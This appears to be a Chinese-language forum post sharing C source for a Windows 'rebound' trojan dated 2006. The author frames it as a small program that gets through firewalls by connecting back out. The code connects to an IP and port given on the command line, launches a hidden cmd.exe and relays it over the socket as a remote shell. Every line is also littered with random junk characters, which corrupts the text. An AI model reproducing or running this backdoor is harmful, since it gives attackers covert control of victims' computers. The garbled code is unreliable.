这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hw1J <Pl*
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/* ============================== YJ>P+e\o9
Rebound port in Windows NT V U~r~
By wind,2006/7 COcS
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===============================*/ mW1T4rR'
#include Hlz$@[$
#include \J6&Z13Q
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#pragma comment(lib,"wsock32.lib") 0}q*s!
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void OutputShell(); cG!dMab(
SOCKET sClient; c3N,P<#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~8Ez K_c
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void main(int argc,char **argv) Wb;D9Z
{ =QhK|C!$A
WSADATA stWsaData; vAzSpiv-
int nRet; Z`>m
SOCKADDR_IN stSaiClient,stSaiServer; @DK`#,
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if(argc != 3) sV`p3L8pl
{ zd3^k<
printf("Useage:\n\rRebound DestIP DestPort\n"); ~N8$abQJV
return; m{by%
} YXDuhrs}
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WSAStartup(MAKEWORD(2,2),&stWsaData); MI>_wG5P@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V"8w:?
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stSaiClient.sin_family = AF_INET; %18%T{|$e
stSaiClient.sin_port = htons(0); Z<`:xFy(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c Qq78Lo
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7%5EBH &
{ HAAU2A9B2
printf("Bind Socket Failed!\n"); Wo~;h(6
return; g1&q6wCg|
} > mEB,
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stSaiServer.sin_family = AF_INET; pQk@
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {GG;/Ns{f-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]\*_}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0lS=-am
{ ?D=C8[NEX
printf("Connect Error!"); ]l6niYVB2
return; s/Q8(sF5
} n W:Bo#
OutputShell(); )F4BVPI
} Y,{pG]B$w
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void OutputShell() !_>o2
{ MGH2z:
char szBuff[1024]; ilwI qj
SECURITY_ATTRIBUTES stSecurityAttributes; {11xjvAD
OSVERSIONINFO stOsversionInfo; mj&$+z M>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =a(]@8$!1
STARTUPINFO stStartupInfo; PBgU/zVn
char *szShell; w/@ tH
PROCESS_INFORMATION stProcessInformation; *V{Y.`\
unsigned long lBytesRead; gq050Bl)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); uuYeXI;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6@Ir|o
stSecurityAttributes.lpSecurityDescriptor = 0; B4x@{rtER
stSecurityAttributes.bInheritHandle = TRUE; d bHxc@H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &[_D'jm+S0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U|+c&TY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); oq2-)F2/
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YA~`R~9d
stStartupInfo.wShowWindow = SW_HIDE; ^IO\J{U{"x
stStartupInfo.hStdInput = hReadPipe; EC7)M}H
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kn}bb*eZ
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GetVersionEx(&stOsversionInfo); \ `|
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switch(stOsversionInfo.dwPlatformId) QUWx\hqE
{ {gI% -
case 1: $j/#IzD1D
szShell = "command.com"; ]:~z#k|2@6
break; drS>~lSxB
default: 'k/:3?R
szShell = "cmd.exe"; *&~
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break; ex8}./mjJ
} *z)+'D*+
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rAA?{(!9x
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send(sClient,szMsg,77,0); +7r?vo1
while(1) DtkOb,wY
{ pI(
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); - @t L]]
if(lBytesRead) ;OSEMgB1
{ TbgIr
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U+:Mu]97
send(sClient,szBuff,lBytesRead,0); [E9)Da_)i
} JN3&(t
else #Ht;5p>5
{ ko6[Ej:TBo
lBytesRead=recv(sClient,szBuff,1024,0); {~ 1
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if(lBytesRead<=0) break; 5W(`lgVs,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &<t`EI];)4
} E6#")2C~
} -=)+)9~G
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return; C;oO=R3r
}